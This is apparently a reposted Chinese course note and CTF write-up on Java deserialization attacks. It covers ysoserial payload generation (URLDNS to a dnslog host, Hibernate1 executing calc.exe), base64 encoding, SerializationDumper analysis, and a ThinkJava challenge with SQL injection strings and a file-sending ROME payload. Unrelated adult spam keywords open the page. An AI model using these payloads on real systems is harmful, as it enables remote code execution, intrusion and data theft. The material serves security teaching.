国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

小迪安全47WEB 攻防-通用漏洞&Java 反序列化&EXP 生成&數(shù)據(jù)提取&組件安全

這篇具有很好參考價值的文章主要介紹了小迪安全47WEB 攻防-通用漏洞&Java 反序列化&EXP 生成&數(shù)據(jù)提取&組件安全。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點擊"舉報違法"按鈕提交疑問。

#知識點:

1、Java 反序列化演示-原生 API 接口

2、Java 反序列化漏洞利用-Ysoserial 使用

3、Java 反序列化漏洞發(fā)現(xiàn)利用點-函數(shù)&數(shù)據(jù)

4、Java 反序列化考點-真實&CTF 賽題-審計分析

#內(nèi)容點:

1、明白-Java 反序列化原理

2、判斷-Java 反序列化漏洞

3、學(xué)會-Ysoserial 工具使用

4、學(xué)會-SerializationDumper

5、了解-簡要 Java 代碼審計分析

#前置知識:

序列化和反序列化的概念:

序列化:把 Java 對象轉(zhuǎn)換為字節(jié)序列(字節(jié)流)的過程。

反序列化:把字節(jié)序列恢復(fù)為 Java 對象的過程。

對象的序列化主要有兩種用途:

把對象的字節(jié)序列永久地保存到硬盤上,通常存放在一個文件中;(持久化對象)

在網(wǎng)絡(luò)上傳送對象的字節(jié)序列。(網(wǎng)絡(luò)傳輸對象)

函數(shù)接口:

JavaSerializable Externalizable 接口、fastjson、jackson、gson、

ObjectInputStream.read、ObjectObjectInputStream.readUnshared

XMLDecoder.read、ObjectYaml.loadXStream.fromXML、

ObjectMapper.readValueJSON.parseObject

PHPserialize()、 unserialize()

Pythonpickle

數(shù)據(jù)出現(xiàn):

1、功能特性:

反序列化操作一般應(yīng)用在導(dǎo)入模板文件、網(wǎng)絡(luò)通信、數(shù)據(jù)傳輸、日志格式化存儲、對象數(shù)

據(jù)落磁盤、或 DB 存儲等業(yè)務(wù)場景。因此審計過程中重點關(guān)注這些功能板塊。

2、數(shù)據(jù)特性:

一段數(shù)據(jù)以 rO0AB 開頭,你基本可以確定這串就是 JAVA 序列化 base64 加密的數(shù)據(jù)。

或者如果以 aced 開頭,那么他就是這一段 java 序列化的 16 進制。

3、出現(xiàn)具體:

http 參數(shù),cookie,sesion,存儲方式可能是 base64(rO0),壓縮后的

base64(H4s),MII Servlets http,Sockets,Session 管理器,包含的協(xié)議就包

發(fā)現(xiàn):

黑盒分析:數(shù)據(jù)庫出現(xiàn)地-觀察數(shù)據(jù)特性

白盒分析:組件安全&函數(shù)搜索&功能模塊

利用:

Ysoserial工具利用


? 原生 API-Ysoserial_URLDNS 使用

? 三方組件-Ysoserial_支持庫生成使用

? 解密分析-SerializationDumper 數(shù)據(jù)分析

? CTF 賽題-[網(wǎng)鼎杯 2020 朱雀組]ThinkJava


#java序列化和反序列化

具體代碼:

package SerialTest;

import java.io.*;

public class SerializableTest {
????public static void main(String[] args) throws Exception {
????????serialPerson();
????????Person person = deserialPerson();
????????System.out.println(person);
????}

????/**
?????* Person對象序列化
?????* @throws IOException
?????*/
????private static void serialPerson() throws IOException {
????????Person person = new Person("xiaodi", 28, "男", 101);

????????ObjectOutputStream oos = new ObjectOutputStream(
????????????????new FileOutputStream(new File("d:/person.txt"))
????????);
????????oos.writeObject(person);
????????System.out.println("person 對象序列化成功!");
????????oos.close();
????}

????/**
?????* Person對象反序列化
?????* @return
?????* @throws Exception
?????*/
????private static Person deserialPerson() throws Exception {
????????ObjectInputStream ois = new ObjectInputStream(
????????????????new FileInputStream(new File("d:/x.txt"))
????????);
????????Person person = (Person)ois.readObject();
????????System.out.println("person 對象反序列化成功!");
????????//Runtime.getRuntime().exec("calc.exe");
????????return person;
????}
}

正序列化

小迪安全47WEB 攻防-通用漏洞&Java 反序列化&EXP 生成&數(shù)據(jù)提取&組件安全,安全,java,開發(fā)語言

符合數(shù)據(jù)特性中的aced開頭

利用:當(dāng)我們對序列化后的數(shù)據(jù)進行數(shù)據(jù)更改,構(gòu)造出惡意代碼,再放回去,便形成了反序列化攻擊

#原生 API-Ysoserial_URLDNS 使用

由于Ys工具多半是針對原生類的,而現(xiàn)在大多數(shù)都是以組件的形式,格式可能不支持

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar

小迪安全47WEB 攻防-通用漏洞&Java 反序列化&EXP 生成&數(shù)據(jù)提取&組件安全,安全,java,開發(fā)語言

Serializable 接口

Externalizable 接口

沒組件生成 DNS 利用:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://43x1nz.dnslog.cn" > urldns.ser

小迪安全47WEB 攻防-通用漏洞&Java 反序列化&EXP 生成&數(shù)據(jù)提取&組件安全,安全,java,開發(fā)語言

小迪安全47WEB 攻防-通用漏洞&Java 反序列化&EXP 生成&數(shù)據(jù)提取&組件安全,安全,java,開發(fā)語言

修改文件,將person文件換為a.txt載入使反序列化

小迪安全47WEB 攻防-通用漏洞&Java 反序列化&EXP 生成&數(shù)據(jù)提取&組件安全,安全,java,開發(fā)語言

相關(guān)的DNS收到其信息,說明其會進行反序列化并進行執(zhí)行

小迪安全47WEB 攻防-通用漏洞&Java 反序列化&EXP 生成&數(shù)據(jù)提取&組件安全,安全,java,開發(fā)語言

#三方組件-Ysoserial_支持庫生成使用

https://github.com/WebGoat/WebGoat

小迪安全47WEB 攻防-通用漏洞&Java 反序列化&EXP 生成&數(shù)據(jù)提取&組件安全,安全,java,開發(fā)語言

有組件生成 RCE:

小迪安全47WEB 攻防-通用漏洞&Java 反序列化&EXP 生成&數(shù)據(jù)提取&組件安全,安全,java,開發(fā)語言

將此文件庫保存下來,進行引用

1、生成:java -Dhibernate5 -cp hibernate-core-

5.4.9.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar

ysoserial.GeneratePayload Hibernate1 "calc.exe" > x.bin

進行本地執(zhí)行計算機的命令

生成以ACED頭的

小迪安全47WEB 攻防-通用漏洞&Java 反序列化&EXP 生成&數(shù)據(jù)提取&組件安全,安全,java,開發(fā)語言

而題中的要求要rO0AB 開頭,故需進行base64加密

2、解碼:python java.py

import base64

file = open("x.bin","rb")

now = file.read()

ba = base64.b64encode(now)

print(ba)

file.close()

小迪安全47WEB 攻防-通用漏洞&Java 反序列化&EXP 生成&數(shù)據(jù)提取&組件安全,安全,java,開發(fā)語言

成功

小迪安全47WEB 攻防-通用漏洞&Java 反序列化&EXP 生成&數(shù)據(jù)提取&組件安全,安全,java,開發(fā)語言

#解密分析-SerializationDumper 數(shù)據(jù)分析

在代碼審計中或代碼利用時判斷是否成功——只支持十六進制

https://github.com/NickstaDB/SerializationDumper

java -jar SerializationDumper-v1.13.jar -r urldns.ser >dns.txt

#CTF 賽題-[網(wǎng)鼎杯 2020 朱雀組]ThinkJava

0x01 注入判斷,獲取管理員帳號密碼:

根據(jù)提示附件進行 javaweb 代碼審計,發(fā)現(xiàn)可能存在注入漏洞

另外有 swagger 開發(fā)接口,測試注入漏洞及訪問接口進行調(diào)用測試

數(shù)據(jù)庫名:myapp,列名 name,pwd

注入測試:

POST /common/test/sqlDict

dbName=myapp?a=' union select (select name from user)#

dbName=myapp?a=' union select (select pwd from user)#

0x02 接口測試

/swagger-ui.html 接口測試:

{

"password":"admin@Rrrr_ctf_asde",

"username": "admin"

}

根據(jù)題目中給的swagger的接口login,進行測試

小迪安全47WEB 攻防-通用漏洞&Java 反序列化&EXP 生成&數(shù)據(jù)提取&組件安全,安全,java,開發(fā)語言

發(fā)現(xiàn),data里有反序列化數(shù)據(jù),解密一下(base64解密java_bs.py+SerializationDumper解密

小迪安全47WEB 攻防-通用漏洞&Java 反序列化&EXP 生成&數(shù)據(jù)提取&組件安全,安全,java,開發(fā)語言

在接口current下,輸入data數(shù)據(jù)

小迪安全47WEB 攻防-通用漏洞&Java 反序列化&EXP 生成&數(shù)據(jù)提取&組件安全,安全,java,開發(fā)語言

小迪安全47WEB 攻防-通用漏洞&Java 反序列化&EXP 生成&數(shù)據(jù)提取&組件安全,安全,java,開發(fā)語言

操作成功,且得知了是admin操作的,這就說明在序列化下存在admin的權(quán)限,且只有此功能存在了對序列化的讀取才會知道有admin用戶,故存在反序列化操作

利用原生類URLDNS進行測試

小迪安全47WEB 攻防-通用漏洞&Java 反序列化&EXP 生成&數(shù)據(jù)提取&組件安全,安全,java,開發(fā)語言

同時進行base64加密——Java.python——因為data里的序列化為rO0AB 開頭

提交

小迪安全47WEB 攻防-通用漏洞&Java 反序列化&EXP 生成&數(shù)據(jù)提取&組件安全,安全,java,開發(fā)語言

有了,漏洞存在

小迪安全47WEB 攻防-通用漏洞&Java 反序列化&EXP 生成&數(shù)據(jù)提取&組件安全,安全,java,開發(fā)語言

獲取flag

小迪安全47WEB 攻防-通用漏洞&Java 反序列化&EXP 生成&數(shù)據(jù)提取&組件安全,安全,java,開發(fā)語言

ROME:讓對方的指定文件發(fā)送到指定地址中

成功監(jiān)聽

小迪安全47WEB 攻防-通用漏洞&Java 反序列化&EXP 生成&數(shù)據(jù)提取&組件安全,安全,java,開發(fā)語言文章來源地址http://www.zghlxwxcb.cn/news/detail-846556.html

到了這里,關(guān)于小迪安全47WEB 攻防-通用漏洞&Java 反序列化&EXP 生成&數(shù)據(jù)提取&組件安全的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實不符,請點擊違法舉報進行投訴反饋,一經(jīng)查實,立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費用

相關(guān)文章

  • WEB攻防-Java安全&原生反序列化&SpringBoot攻防&heapdump提取&CVE

    WEB攻防-Java安全&原生反序列化&SpringBoot攻防&heapdump提取&CVE

    知識點: 1、Java安全-原生反序列化-3大類接口函數(shù)利用 2、Java安全-SpringBoot攻防-泄漏安全CVE安全 序列化是將Java對象轉(zhuǎn)換成字節(jié)流的過程。而反序列化是將字節(jié)流轉(zhuǎn)換成Java對象的過程,java序列化的數(shù)據(jù)一般會以標(biāo)記( ac ed 00 05 )開頭,base64編碼的特征為 rO0AB 。 JAVA常見的序列化

    2024年02月03日
    瀏覽(23)
  • 網(wǎng)絡(luò)安全全棧培訓(xùn)筆記(WEB攻防-51-WEB攻防-通用漏洞&驗證碼識別&復(fù)用&調(diào)用&找回密碼重定向&狀態(tài)值)

    網(wǎng)絡(luò)安全全棧培訓(xùn)筆記(WEB攻防-51-WEB攻防-通用漏洞&驗證碼識別&復(fù)用&調(diào)用&找回密碼重定向&狀態(tài)值)

    知識點: 1、找回密碼邏輯機制-回顯驗證碼指向 2、驗證碼驗證安全機制-爆破復(fù)用識別 3、找回密碼客戶端回顯Response狀態(tài)值修改重定向 4、驗證碼技術(shù)驗證碼爆破,驗證碼復(fù)用,驗證碼識別等 詳細點: 找回密碼流程安全: 1、用回顯狀態(tài)判斷-res前端判斷不安全 2、用用戶名重

    2024年01月16日
    瀏覽(33)
  • day33WEB 攻防-通用漏洞&;文件上傳&;中間件解析漏洞&;編輯器安全

    day33WEB 攻防-通用漏洞&;文件上傳&;中間件解析漏洞&;編輯器安全

    先自我介紹一下,小編浙江大學(xué)畢業(yè),去過華為、字節(jié)跳動等大廠,目前阿里P7 深知大多數(shù)程序員,想要提升技能,往往是自己摸索成長,但自己不成體系的自學(xué)效果低效又漫長,而且極易碰到天花板技術(shù)停滯不前! 因此收集整理了一份《2024年最新網(wǎng)絡(luò)安全全套學(xué)習(xí)資料》

    2024年04月24日
    瀏覽(49)
  • day33WEB 攻防-通用漏洞&;文件上傳&;中間件解析漏洞&;編輯器安全(1)

    day33WEB 攻防-通用漏洞&;文件上傳&;中間件解析漏洞&;編輯器安全(1)

    2、解析漏洞-nginx.conf 配置不當(dāng) 二,Web 應(yīng)用編輯器-Ueditor 文件上傳安全 三,實例 CMS平臺-中間件解析編輯器引用 配套資源下載(百度網(wǎng)盤): 鏈接:https://pan.baidu.com/s/11Q9sAPQ9P_ReOP9PKL0ABg?pwd=jgg4? 提取碼:jgg4 本章節(jié)知識點: 1 、中間件安全問題 2 、中間件文件上傳解析 3 、

    2024年04月15日
    瀏覽(28)
  • 網(wǎng)絡(luò)安全全棧培訓(xùn)筆記(53-WEB攻防-通用漏洞&CRLF注入&URL重定向&資源處理拒絕服務(wù))

    網(wǎng)絡(luò)安全全棧培訓(xùn)筆記(53-WEB攻防-通用漏洞&CRLF注入&URL重定向&資源處理拒絕服務(wù))

    知識點: 1、CRLF注入-原理檢測利用 2、URL重定向-原理檢測利用 3、Web拒絕服務(wù)-原理檢測利用 #下節(jié)預(yù)告: 1、JSONPCORS跨域 2、域名安全接管劫持 #詳細點: 1.CRLF注入漏洞,是因為Wb應(yīng)用沒有對用戶輸入做嚴格驗證,導(dǎo)致攻擊者可以輸入一些 惡意字符。攻擊者一旦向清求行或首部

    2024年01月15日
    瀏覽(31)
  • Web安全--反序列化漏洞(java篇)

    Web安全--反序列化漏洞(java篇)

    序列化的意義就在于方便存儲和傳輸,永久的保存到硬盤中,通常保存在一個文件中。 序列化:將java對象轉(zhuǎn)換為字節(jié)序列的過程 反序列化:序列化的逆過程,從儲存區(qū)讀出字節(jié)序列還原成對象的過程 java應(yīng)用在對用戶的輸入沒有進行嚴格的檢查時,即傳入了不可信的數(shù)據(jù)做

    2024年02月09日
    瀏覽(30)
  • 小迪安全20WEB 攻防-PHP 特性&缺陷對比函數(shù)&CTF 考點&CMS 審計實例

    小迪安全20WEB 攻防-PHP 特性&缺陷對比函數(shù)&CTF 考點&CMS 審計實例

    #研究對象 PHP代碼漏洞(代碼問題) # 知識點: 1 、過濾函數(shù)缺陷繞過 2 、 CTF 考點與代碼審計 一、原理-缺陷函數(shù)-使用講解-本地 內(nèi)置函數(shù): 大部分是比較函數(shù)(過濾時使用的函數(shù)) (1)、== 與 === : 參考: PHP 淺談 == 和=== 中,數(shù)字和字符串比較的問題。_php 數(shù)字==字符串

    2024年01月19日
    瀏覽(31)
  • Web攻防--JNDI注入--Log4j漏洞--Fastjson反序列化漏洞

    Web攻防--JNDI注入--Log4j漏洞--Fastjson反序列化漏洞

    什么是JNDI JNDI全稱為 Java Naming and Directory Interface(Java命名和目錄接口),是一組應(yīng)用程序接口,為開發(fā)人員查找和訪問各種資源提供了統(tǒng)一的通用接口,可以用來定義用戶、網(wǎng)絡(luò)、機器、對象和服務(wù)等各種資源。 JNDI支持的服務(wù)主要有:DNS、LDAP、CORBA、RMI等。 簡單從安全角度

    2024年02月09日
    瀏覽(26)
  • 小迪安全19WEB 攻防-.NET 項目&DLL 反編譯&未授權(quán)訪問&配置調(diào)試報錯

    小迪安全19WEB 攻防-.NET 項目&DLL 反編譯&未授權(quán)訪問&配置調(diào)試報錯

    # ASPX 知識點: 1 、 .NET 配置調(diào)試 - 信息泄露 2 、 .NET 源碼反編譯 -DLL 反編譯 3 、 .NET 常見安全問題 - 未授權(quán)訪問 .NET:大部分都是通性漏洞;與java語言類似;本身被封裝后,需要通過反編譯獲取之前的信息;大部分都是在windows上進行;#c是針對.net開發(fā)的,.net是一個開發(fā)框架;

    2024年01月21日
    瀏覽(27)
  • Day60:WEB攻防-PHP反序列化&POP鏈構(gòu)造&魔術(shù)方法流程&漏洞觸發(fā)條件&屬性修改

    Day60:WEB攻防-PHP反序列化&POP鏈構(gòu)造&魔術(shù)方法流程&漏洞觸發(fā)條件&屬性修改

    目錄 PHP-DEMO1-序列化和反序列化 序列化操作?- 即類型轉(zhuǎn)換 序列化案例 PHP-DEMO2-魔術(shù)方法觸發(fā)規(guī)則 __construct(): //當(dāng)對象new的時候會自動調(diào)用 __destruct()://當(dāng)對象被銷毀時會被自動調(diào)用 __sleep(): //serialize()執(zhí)行時被自動調(diào)用 __wakeup(): //unserialize()時會被自動調(diào)用 __invoke(): //把對象當(dāng)

    2024年04月27日
    瀏覽(41)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包